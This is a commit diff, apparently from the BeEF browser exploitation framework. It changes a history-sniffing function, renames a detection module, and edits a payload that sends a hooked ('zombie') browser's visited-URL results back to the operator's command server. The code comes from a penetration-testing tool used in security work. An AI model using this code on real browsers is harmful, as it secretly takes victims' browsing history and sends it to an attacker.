Issue #4, Issue#40. Had to role back hasVisited boolean return. The return result of the detect_visited command will need some styling once the format_multiline command can be used on local javascript variables.
git-svn-id: https://beef.googlecode.com/svn/trunk@573 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -340,7 +340,7 @@ beef.browser = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns boolean (or array of results), whether or not the target zombie has visited the specified URL
|
||||
* Returns array of results, whether or not the target zombie has visited the specified URL
|
||||
*/
|
||||
hasVisited: function(urls) {
|
||||
var results = new Array();
|
||||
@@ -373,8 +373,6 @@ beef.browser = {
|
||||
if (results.length == 0)
|
||||
{
|
||||
return false;
|
||||
} else if (results.length == 1) {
|
||||
return results[0].visited;
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Detect_plugins < BeEF::Command
|
||||
class Detect_details < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
@@ -11,7 +11,7 @@ class Detect_plugins < BeEF::Command
|
||||
This module will retrieve the selected zombie browser plugins, browser type
|
||||
and scripting engines, plus screen dimensions.'
|
||||
},
|
||||
'Category' => 'Recon',
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade','vo','passbe'],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
@@ -1,16 +1,10 @@
|
||||
beef.execute(function() {
|
||||
var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>");
|
||||
window.console.log(results);
|
||||
/*var comp = "";
|
||||
if (results instanceof Array)
|
||||
var comp = '';
|
||||
for (var i=0; i < results.length; i++)
|
||||
{
|
||||
for (var i=0; i < results.length; i++)
|
||||
{
|
||||
comp += results[i].url+" = "+results[i].visited;
|
||||
}
|
||||
} else {
|
||||
comp = "<%= @urls %> = "+results;
|
||||
}*/
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+results);
|
||||
comp += results[i].url+' = '+results[i].visited+' ';
|
||||
}
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+comp);
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user